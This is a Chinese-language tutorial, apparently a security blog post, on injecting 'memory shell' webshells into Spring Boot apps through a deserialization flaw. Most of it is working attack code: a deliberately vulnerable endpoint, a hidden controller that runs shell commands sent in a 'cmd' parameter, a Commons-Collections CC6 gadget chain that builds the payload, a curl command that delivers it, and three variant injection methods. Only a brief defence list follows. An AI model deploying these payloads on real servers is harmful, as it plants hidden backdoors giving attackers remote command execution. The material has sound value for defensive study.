spring回显方式在代码层面的复现(内存马系列篇十四)
字数 1259 2025-08-11 22:57:12
Spring内存马注入技术详解
一、环境搭建
1.1 所需环境
- Spring Boot 2.5.0
- Commons-Collections 3.2.1
1.2 漏洞环境搭建
创建一个包含反序列化漏洞的Controller:
package com.roboterh.vuln.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;
@Controller
public class CommonsCollectionsVuln {
@ResponseBody
@RequestMapping("/unser")
public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
response.getWriter().println("successfully!");
}
}
二、内存马注入方式
2.1 Way 1 - 通过RequestContextHolder获取上下文
2.1.1 内存马实现类
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class SpringMemshell extends AbstractTranslet {
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = null;
try {
method2 = SpringMemshell.class.getMethod("test");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerh");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
SpringMemshell evilController = new SpringMemshell();
mappingHandlerMapping.registerMapping(info, evilController, method2);
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
2.1.2 利用CC6链进行注入
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6_plus {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] bytes = FileUtil.readAsByteArray(new File("SpringMemshell.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ bytes });
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory = new InstantiateFactory(
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class,
new Class[]{javax.xml.transform.Templates.class},
new Object[]{obj}
);
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);
outerMap.remove("keykey");
serialize(expMap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
out.writeObject(obj);
}
}
2.1.3 触发漏洞
curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"
2.2 Way 2 - 通过ContextLoader获取上下文
2.2.1 限制条件
- 需要配置
ContextLoaderListener监听器 - 需要
RequestMappingHandlerMappingbean存在于Root Context中
2.2.2 实现差异
仅需替换获取上下文的方式:
// 替换前
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 替换后
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
2.3 Way 3 - 使用DefaultAnnotationHandlerMapping
2.3.1 实现代码
@Controller
public class SpringMemshell1 extends AbstractTranslet {
static {
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
try {
context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
e.printStackTrace();
}
DefaultAnnotationHandlerMapping defaultAnnotationHandlerMapping = context.getBean(DefaultAnnotationHandlerMapping.class);
try {
Method registerHandler = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
registerHandler.setAccessible(true);
registerHandler.invoke(defaultAnnotationHandlerMapping, "/RoboTerh", "test");
} catch (Exception e) {
e.printStackTrace();
}
}
@RequestMapping("/RoboTerh")
public void test(HttpServletRequest request, HttpServletResponse response) {
// 命令执行代码同Way 1
}
// transform方法同Way 1
}
2.3.2 限制条件
- 仅适用于低版本Spring框架
- 高版本中
DefaultAnnotationHandlerMapping已被其他类替换
2.4 Way 4 - 使用detectHandlerMethods方法
2.4.1 实现代码
// 1.获取上下文环境
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2.通过调用registerSingleton注册一个bean
try {
context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
e.printStackTrace();
}
// 3.获取RequestMappingHandlerMapping这个实现类
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 4.反射获取对应的detectHandlerMethods
try {
Method registerHandler = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
registerHandler.setAccessible(true);
registerHandler.invoke(requestMappingHandlerMapping, "test");
} catch (Exception e) {
e.printStackTrace();
}
2.4.2 实现原理
- 创建一个带有
@Controller注解的Singleton - 通过
RequestMappingHandlerMapping反射获取detectHandlerMethods方法 - 调用该方法自动解析注解并注册路由
三、技术对比
| 方式 | 适用版本 | 关键API | 特点 |
|---|---|---|---|
| Way 1 | 通用 | RequestMappingHandlerMapping.registerMapping | 直接构造映射关系 |
| Way 2 | 需配置监听器 | ContextLoader.getCurrentWebApplicationContext | 需要额外配置 |
| Way 3 | 低版本 | DefaultAnnotationHandlerMapping.registerHandler | 已过时 |
| Way 4 | 通用 | AbstractHandlerMethodMapping.detectHandlerMethods | 自动解析注解 |
四、防御措施
- 输入验证:对反序列化操作进行严格的白名单控制
- 依赖管理:及时更新有漏洞的依赖库
- 安全配置:禁用不必要的功能和服务
- 运行时防护:使用RASP技术检测异常行为
- 代码审计:定期检查代码中的反序列化点
五、总结
本文详细介绍了四种Spring内存马注入技术,重点分析了通过反序列化漏洞动态注册恶意Controller的实现方式。Way 1和Way 4是较为通用的实现方式,而Way 2和Way 3则有特定的使用限制。理解这些技术原理对于防御此类攻击至关重要。